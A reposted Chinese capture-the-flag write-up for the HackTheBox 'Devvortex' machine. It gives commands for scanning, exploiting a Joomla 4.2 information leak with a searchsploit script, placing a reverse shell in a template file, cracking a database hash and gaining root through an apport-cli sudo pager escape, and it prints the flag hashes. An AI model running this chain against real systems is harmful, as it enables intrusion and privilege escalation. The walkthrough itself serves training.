[渗透测试学习] Devvortex - HackTheBox

2023-12-09 16:28

本文主要是介绍[渗透测试学习] Devvortex - HackTheBox,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 信息搜集
    • 解题步骤
    • 提交flag


信息搜集

扫描端口

nmap -sV -sC -p- -v --min-rate 1000 10.10.11.242

在这里插入图片描述发现80端口有http服务,并且是nginx服务
尝试访问web界面,发现跳转到http://devvortex.htb/无法访问
我们用vim添加该域名即可

sudo vim /etc/hosts

在这里插入图片描述
我们访问发现是企业站点,扫描一下是否存在子域名

gobuster vhost -u http://devvortex.htb/ -w /usr/share/wordlists/dirb/big.txt --append-domain

得到子域名
在这里插入图片描述和刚刚一样添加到/etc/hosts,然后扫描目录
在这里插入图片描述

解题步骤

能扫出/adminisrator,我们登录web界面访问robots.txt
在这里插入图片描述
知道为Joomla CMS
我们用kali自带的工具去扫描出Joomla版本信息

joomscan -u http://dev.devvortex.htb/

在这里插入图片描述然后再利用工具searchsploit去找漏洞

searchsploit joomla 4.2

在这里插入图片描述
然后记住该脚本序号,使用-m参数复制下来
在这里插入图片描述
此脚本是ruby编写的,所以执行命令如下

./51334.py http://dev.devvortex.htb > joomla_exp.out

注:url不为http://dev.devvortex.htb/

在这里插入图片描述查看一下得到密码,数据库名

由于ssh连接不上,我们采取反弹shell
用刚刚的账号密码登录
在这里插入图片描述然后在System的site template(网站模板)处点击第一个
然后修改error.php,添加反弹shell命令
在这里插入图片描述开启监听,访问给的路径/templates/cassiopeia/error.php
成功反弹shell
在这里插入图片描述
但是我们发现目前用户的权限不够
在这里插入图片描述

那么我们尝试登录其他用户
先提升下shell权限

python3 -c 'import pty; pty.spawn("/bin/bash")'

再连接数据库

mysql -u lewis -p joomla

在这里插入图片描述然后得到logan的密码
在这里插入图片描述用工具john爆破一下得到密码
在这里插入图片描述然后ssh连接

ssh logan@10.10.11.242

得到user的flag
在这里插入图片描述
我们sudo看下能用的命令
在这里插入图片描述
发现有个脚本,我们谷歌尝试搜一下apport-cli exploit
直接搜到现成的poc
在这里插入图片描述

靶机有crash文件情况
刚开始ls还没找到,加个参数-al才发现有

在这里插入图片描述执行命令

sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_sleep.1000.crash

选择v模式
在这里插入图片描述
进入文件后输入!id,成功提权
在这里插入图片描述

查询完按回车,再次输入!cat /root/root.txt
得到root的flag
在这里插入图片描述

靶机无crash文件情况
我们目的就是开启V模式,那么我们可以利用-f和–pid参数
在这里插入图片描述
我们开启pid进程
在这里插入图片描述然后执行

sudo /usr/bin/apport-cli -f --pid=4365

同样能进入V模式
在这里插入图片描述后面步骤就一样的不再叙述

提交flag

user: dc5d3636a25c08eab2b633c3af454cc2
root: 72254d1c628607e1670942d1ba21b4de

这篇关于[渗透测试学习] Devvortex - HackTheBox的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/474352

相关文章

使用Python进行GRPC和Dubbo协议的高级测试

《使用Python进行GRPC和Dubbo协议的高级测试》GRPC(GoogleRemoteProcedureCall)是一种高性能、开源的远程过程调用(RPC)框架,Dubbo是一种高性能的分布式服... 目录01 GRPC测试安装gRPC编写.proto文件实现服务02 Dubbo测试1. 安装Dubb

Python的端到端测试框架SeleniumBase使用解读

《Python的端到端测试框架SeleniumBase使用解读》:本文主要介绍Python的端到端测试框架SeleniumBase使用,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全... 目录SeleniumBase详细介绍及用法指南什么是 SeleniumBase?SeleniumBase

Go学习记录之runtime包深入解析

《Go学习记录之runtime包深入解析》Go语言runtime包管理运行时环境,涵盖goroutine调度、内存分配、垃圾回收、类型信息等核心功能,:本文主要介绍Go学习记录之runtime包的... 目录前言:一、runtime包内容学习1、作用:① Goroutine和并发控制:② 垃圾回收:③ 栈和

Android学习总结之Java和kotlin区别超详细分析

《Android学习总结之Java和kotlin区别超详细分析》Java和Kotlin都是用于Android开发的编程语言,它们各自具有独特的特点和优势,:本文主要介绍Android学习总结之Ja... 目录一、空安全机制真题 1:Kotlin 如何解决 Java 的 NullPointerExceptio

python多线程并发测试过程

《python多线程并发测试过程》:本文主要介绍python多线程并发测试过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、并发与并行?二、同步与异步的概念?三、线程与进程的区别?需求1:多线程执行不同任务需求2:多线程执行相同任务总结一、并发与并行?1、

重新对Java的类加载器的学习方式

《重新对Java的类加载器的学习方式》:本文主要介绍重新对Java的类加载器的学习方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、介绍1.1、简介1.2、符号引用和直接引用1、符号引用2、直接引用3、符号转直接的过程2、加载流程3、类加载的分类3.1、显示

Java学习手册之Filter和Listener使用方法

《Java学习手册之Filter和Listener使用方法》:本文主要介绍Java学习手册之Filter和Listener使用方法的相关资料,Filter是一种拦截器,可以在请求到达Servl... 目录一、Filter(过滤器)1. Filter 的工作原理2. Filter 的配置与使用二、Listen

Java进阶学习之如何开启远程调式

《Java进阶学习之如何开启远程调式》Java开发中的远程调试是一项至关重要的技能,特别是在处理生产环境的问题或者协作开发时,:本文主要介绍Java进阶学习之如何开启远程调式的相关资料,需要的朋友... 目录概述Java远程调试的开启与底层原理开启Java远程调试底层原理JVM参数总结&nbsMbKKXJx

SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程

《SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程》本文详细介绍了如何在虚拟机和宝塔面板中安装RabbitMQ,并使用Java代码实现消息的发送和接收,通过异步通讯,可以优化... 目录一、RabbitMQ安装二、启动RabbitMQ三、javascript编写Java代码1、引入

Nginx设置连接超时并进行测试的方法步骤

《Nginx设置连接超时并进行测试的方法步骤》在高并发场景下,如果客户端与服务器的连接长时间未响应,会占用大量的系统资源,影响其他正常请求的处理效率,为了解决这个问题,可以通过设置Nginx的连接... 目录设置连接超时目的操作步骤测试连接超时测试方法:总结:设置连接超时目的设置客户端与服务器之间的连接